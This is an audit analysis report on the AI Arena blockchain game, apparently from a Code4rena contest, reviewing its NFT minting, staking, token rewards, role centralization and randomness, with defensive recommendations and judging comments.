Thanks for judging, @HickupHH3 !

I believe the following issues could be considered duplicates.

Awards

166.1676 USDC - $166.17

Labels

analysis-advanced
grade-a
high quality report
sponsor acknowledged
edited-by-warden
A-31

External Links

Overview

AI Arena is a game that you train your Fighter NFT with AI to battle others. AI training and gameplay take place off-chain, while on the blockchain, Fighter NFT ownership and stats are managed, ERC1155 form items are managed, NRN tokens are staked, game results are registered to earn points and rewards are distributed.

Fighter NFT

This is a character used in game, implemented with ERC721. Each Fighter's appearance, element, and weight are randomly (pseudo-randomly) determined. A Fighter's abilities are calculated based on weight. The heavier they are, the slower and sturdier they are, and the lighter they are, the faster they are but with reduced durability.

In the 0th generation, there are three types of elements: fire, water, and electricity. These may change as generations increase. Fire is strong against electricity, electricity is strong against water, and water is strong against fire.

Appearance consist of six parts: head, eyes, mouth, body, hands, and feet. Each part is randomly selected and combined for each Fighter. Appearance does not affect abilities.

GameItems NFT

These are various items used in the game, implemented with ERC1155. Currently, only a battery item exists. The battery is used to charge the voltage needed to start the game. It can be purchased using NRN tokens, and there is a limit to the number of items that can be purchased in 24 hours.

Neuron token (NRN)

This is an ERC20 token used to purchase game items, reroll Fighter’s attributes, and a ranking reward. If users stake NRN, they can earn game points and ranking rewards.

Game play

Gameplay takes place off-chain. Score are also calculated off-chain using the Elo mechanism. Only the game results are registered in the contract through the game server's account. If a user stakes NRN, they can earn points when they win in the game. The more points a user earns, the more NRN rewards they can receive. If a player loses a game while staked, they lose the staked tokens when there are no more points to lose.

Voltage

10 voltage is consumed each time the game is started. If there is no voltage, the game cannot be started. Voltage is charged to 100 on a 24-hour cycle. User can charge voltage by using a battery item.

MergingPool

The more game points you earn, the higher your chances of receiving a new Fighter NFT as a reward. Some of the points earned in the game are put into the MergingPool to increase the chances of winning. The task of selecting winners is done off-chain, and the administrator registers the winners in the contract.

Approach taken in evaluating the codebase

StageDetail
Compile and run testClone the repository, install dependencies, set environment and run test.
Check scope and sortList the scopes, sorting them in ascending order. Identify core and peripheral logic.
Read docsRead code4rena README and docs. Research on who’s sponsors and what’s their goal. Review the sponsor's existing projects, if any.
Understand core logicSkim through the code to understand the core logic.
Manuel Code ReviewRead the code line by line to understand the logic. Find bugs due to mistakes.
Organize logic with writing/drawingOrganize business logic and look for logic bugs.
Write report, PoCWrite the report and make PoC by using test code.

Architecture recommendations

Architecture

This is architecture of the contract. It mainly involves NFT minting and management, staking, game results updates, and game item usage. Major management tasks such as updating the game results, selecting winners, or updating rounds are performed with the administrator EOA account.

The winner of the Merging pool is chosen off-chain and registered by the admin. The winner's information is simply stored in an array, and the user has to inefficiently traverse to check if they've won in order to claim their reward. If the number of winners in the Merging pool is significantly increased, it would be more efficient to use a merkle tree.

Centralization risks

This project is highly centralized, so special attention needs to be paid to account management. The administrator can change the address of the main contracts they interact with, can change reward related settings, and can mint new Fighter NFTs.

The protocol is closer to storing data on the contract with an EOA account managed by the team rather than providing decentralized services. As each EOA plays an important role, it is recommended to strengthen security by using a multi sig wallet.

The following roles exist:

  • owner
  • admin
  • treasury
  • delegated
  • game server

Owner

Initially, the deployer is set as owner. Owner has the right to set admin, initialize the contract, and change the contract's settings.

Functions that initialize important variables such as instantiateNeuronContract generally do not need to be called again, but are not blocked from being called again. In other words, the owner has a large authority that can even change the important address variable. To mitigate this, limit the initialization functions to be callable only once.

Also, since it is an account with many authorities, it is better to use a 2 step owner to prevent changing to a wrong address by mistake.

Admin

It has the authority to change various settings of the contract. It also has the authority to register winners in the MergingPool. It also has the authority to airdrop the NRN. It performs management tasks such as updating round or updating the amount of rewards.

Treasury

The Treasury account collects the NRN tokens used for item purchases and rerolls. It also collects the NRN lost by the user in the game. Since the airdrop is in the form of approving treasury’s token to users, the treasury can also be considered to have the authority to airdrop NRN.

Delegated (Signer)

Delegated sets the Fighter tokenURI (metadata setting) and signs for minting Fighter tokens. In other words, they have the authority to mint Fighter tokens.

Game server

The game server account registers the game results on the contract. The contract fully trusts the Game server account, and because it can distribute rewards based on game point or take away staked tokens, the game server has large authority.

To mitigate the authority of the game server, there is a way to receive the user's signature to upload the game results. If you get a signature from the user who starts the game, you will be able to mitigate the ability of the game server account to freely record game results.

Mechanism review

Fighter NFT Minting

There are three ways to mint Fighter NFTs.

  1. Use MintPass to request
  2. Receive a signature from the Delegated and request
  3. Win in MergingPool and request

Use MintPass to request

Use MintPass to request

The AAMintPass contract is an ERC721, an NFT that was deployed before FighterFarm. Users can use (burn) their MintPass NFTs to mint an equal number of Fighter NFTs.

Receive a signature from the Delegated and request

Receive a signature from the Delegated and request

User can request NFT minting by receiving a signature from the signer. User can mint NFTs in the quantity allowed by the signature.

Win in MergingPool and request

Win in MergingPool and request

Winners of MergingPool are selected and registered by admin every round. Winners can mint NFTs in the number they won. Users can customize the weight and element.

DNA and attributes

Fighter NFTs have unique attributes. Except reward of MergingPool, these are pseudo-randomly set by DNA values. There are three elements, and weight is set between 65 and 95. FighterFarm generates element and weight, while AiArenaHelper is responsible for generating the appearance attributes.

DNA and attributes

Users can also reroll attributes by paying NRN tokens. When a reroll is requested, a new DNA is assigned, and the attributes of the NFT are changed to new pseudo-random values. Each NFT has a limit on the number of rerolls, so infinite changes are not possible.

Staking and rewards

You need to stake NRN tokens to get points when you win. The more you stake and the higher your Elo score, the more points you can get when you win. When the game round ends, you can claim rewards proportional to the points you have. Rewards are provided by minting NRN tokens.

Stake/Unstake

Stake Unstake

Users can stake or unstake NRN to their own Fighter NFT. If you unstake in this round, you can no longer stake additional. Once staking starts, the relevant Fighter NFT is blocked from transfer, and when it is completely unstaked and there is no more staked amount left, the Fighter NFT is unblocked to enable transfer.

Losing the game

Losing the game

The game server account registers the game results on-chain. If the user who lost the game has staked, the user's points are reduced, and if there are no more points to reduce, n% of the stake is moved to the StakeAtRisk contract each time they lose.

Winning the game

Winning the game

If you won the game, you can retrieve some of the tokens at stake-at-risk. If there are no more stake-at-risk tokens left, you can earn points. If you earn points, some of them are passed to the MergingPool. Points are used as the basis for picking winner in the MergingPool later.

Moving to the next round

Moving to the next round

Admin finishs this round and starts the next round. When the round changes, the NRN tokens that went to StakeAtRisk move to the treasury. Since a new round has started, users can no longer recover past round stake-at-risk tokens.

Claim NRN reward

Claim NRN reward

Users can receive rewards proportional to the points earned in the previous round. Rewards are provided by minting new NRN tokens.

Voltage and Battery

Use voltage

Use voltage

The user who started the game uses voltage. Each game start consumes 10 voltage, and after consuming voltage, it is charged (reset) to 100 after 24 hours. This is processed when the game server registers the game results.

Battery

Battery

Users who have consumed the voltage can use the battery to recharge the voltage. The battery is a game item minted in the form of ERC1155. Used batteries are burned.

Buy battery

The GameItems contract is a contract where users can pay NRN and buy items. Items are minted as ERC1155, and currently, only Battery items exist. In the future, admin can add new items, and users can pay NRN and purchase them. The NRN for purchase is transferred to the Treasury.

Various settings can be set for the item. Admin can limit the number of purchases per day, or limit the total number of sales for limited sales. Through settings, certain items can be made non-transferable, creating non-exchangeable items.

Systemic Risks

You don't have to be extra cautious about frontrunning because this project uses the Arbitrum chain. However, because the frontend, game server, and blockchain are integrated, special attention needs to be paid to race conditions between off-chain and on-chain. Problems can occur if NFTs move or changes occur in staking while the game is still being processed. Before starting the game, a transaction should be generated to lock the NFT on the blockchain, and it needs to be unlocked when the game ends to prevent race conditions.

Also, it is important to generate NFTs randomly, but currently, all random values are implemented as pseudo-random. All of these are predictable and manipulable values. It is recommended to use Chainlink VRF or at least use random values generated off-chain and verify it with a signature.

Time spent:

40 hours

#0 - c4-pre-sort

2024-02-25T20:36:41Z

raymondfam marked the issue as high quality report

#1 - c4-sponsor

2024-03-04T01:48:15Z

brandinho (sponsor) acknowledged

#2 - c4-judge

2024-03-19T08:10:01Z

HickupHH3 marked the issue as grade-a

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter